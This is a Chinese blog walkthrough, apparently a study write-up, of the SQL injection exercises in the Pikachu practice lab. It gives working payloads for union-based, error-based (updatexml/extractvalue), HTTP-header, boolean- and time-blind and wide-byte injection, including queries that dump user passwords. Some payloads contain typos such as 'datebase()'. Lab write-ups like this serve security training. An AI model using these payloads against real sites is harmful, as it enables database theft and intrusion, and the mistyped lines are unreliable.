• pikachu-SQL注入


    sql注入

    数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

    sql注入攻击流程

    1.  注入点探测

    自动方式:使用web漏洞扫描工具,自动进行注入点发现s

    手动方式:手工构造sql inject测试语句进行注入点发现

    2.  信息获取

    通过注入点取得期望得到的数据

          1.  环境信息:数据库类型,数据库版本,操作系统版本,用户信息等

          2.  数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

          3.  获取权限       获取操作系统权限:通过数据库执行shell,上传木马

    Get方式中使用url提交注入数据;post方式中使用抓包工具修改post数据部分提交注入

    数字型注入(post)

    首先选择数字1 ,点击查询

     由于是post型,所以我们抓包,做一下修改,修改为恒成立 id=1 or 1=1

     将其发送到Repeater,点击Go

     可以看到Render里取出了数据库中全部数据,说明存在数字型注入漏洞。

    可以看下源码,这里没有做任何处理

    字符型注入(get)

    我们先输入kobe

     

    因为是字符型的注入,我们可以使用做sqli-labs方法进行尝试(参考sqli-labs的方法,几乎每一关都用),加单引号、双引号、括号、以及他们的组合这里需要注意闭合后面注释  最后我们试出来是单引号

    kobe' or 1=1#

     搜索型注入

    我们先输入一个字母k

     可以查看一下源码(路径如图所示)

     

     可以看到,这里用了搜索的sql语句:select  username ,id ,email from member where username like '%$name%'  

    用了一个like  ‘%xxxx%’, 同样的道理,可以选择闭合sql语句:k%' or 1=1#

     成功闭合,所有数据显示出来

    xx型注入

    相同的道理,只是数据包过形式不同

    可以查看源码(路径如下)也可以自己尝试出来

     

     所以构造 k') or 1=1#

     联合查询

    我们在sqli-labs中用到过多次联合查询的语句,下面来回顾一下(以xx注入类型为例)

    判断字段数  a')  order by 2#(数字可以改变,判断出来字段数为2)

    查库   a')  union select database(),2#  (查到数据库为pikachu)

    查表    a') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#   

    查询users表中的字段名: a') union select table_name,column_name from information_schema.columns where table_name='users'#

    联合查询得到用户名和密码:a')  union select username,password from users#

    insert/updata注入(报错注入)

    点击注册

     条件:后台没有屏蔽报错信息

    常用函数:updatexml() exactvalue() floor()(取整函数)

    基于insert/update下的报错

    1' or updatexml(1,concat(0x7e,datebase()),0) or'

    基于delete下的报错

    1' or updatexml(1,concat(0x7e,datebase()),0) 

    基于exactvalue()

    kobe' and extractvalue(0,concat(0x7e,version()))#

    构造语句  1' or updatexml(1,concat(0x7e,database()),0) or'

    密码必填可以随意输

    得到皮卡丘的数据库名字是 pikachu

    update注入

    先登录进去,使用lucy/123456  然后在修改信息的框中直接填入语句即可,payload和insert的相同

    1' or updatexml(1,concat(0x7e,database()),0) or'

    得到皮卡丘的数据库名字是 pikachu

     delete注入

    基于delete下的报错

    1 or updatexml(1,concat(0x7e,datebase()),0)

    删除的时候设置代理,抓包

     将其发送到Repeater,然后改包,将id后面的数字改掉

    由于是get的类型的 在payload记得进行url编码

    payload 在上面已经提到   

    1 or updatexml(1,concat(0x7e,database()),0) 

    编码之后,可以看到空格变为了加号,点击Go 

     得到数据库pikachu

     http header 注入

    原理:有时候后台开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql inject漏洞。

    首先登陆  admin/123456

     发现有对头部信息的获取,所以可能存在注入

    抓包,发送到Repeater

     

     修改user-agent    将信息改为 firefox' or updatexml(1,concat(0x7e,database()),0) or '

     得到数据库为pikachu

    基于boolean盲注(布尔盲注)

    表现:

    1.没有报错信息

    2.结果都只显示两种情况(0或1)

    3.在正确的输入下,输入and 1=1/and 1=2可以判断

    实际上需要自己一个一个测试出来

    输入   Kobe’ and ascii(substr(database(),1,1))>113#

     Kobe’ and ascii(substr(database(),1,1))=112#

     获取表名

    test payload:
    kobe'  union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

    获取字段名

    kobe'  union select table_name,column_name from information_schema.columns where table_name='users'#

    基于时间的盲注

    Kobe' and sleep(5)#   页面会延迟五秒

     kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
    1ms就返回结果 说明不是 "a" 改为”p”不返回  一直到确定数据库的全称。

    宽字节注入

    当我们输入有单引号时被转义为’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

    GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的

    因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。

    kobe %df' or 1=1#

     我们构造sql查询语句就可以了

  • 相关阅读:
    正则表达式30分钟入门教程
    21 个HTML网页转RSS Feeds的工具
    批量去除PHP文件中bom的PHP代码
    WEB网页采集技术参考
    xcache
    Sonix SN9P701 OCR点读笔二维码识别源码
    UI设计素材资源网站推荐
    解决电信DNS劫持
    自学电子技术的最佳方法
    wp资源汇总
  • 原文地址:https://www.cnblogs.com/heiwa-0924/p/12562715.html
Copyright © 2020-2023  润新知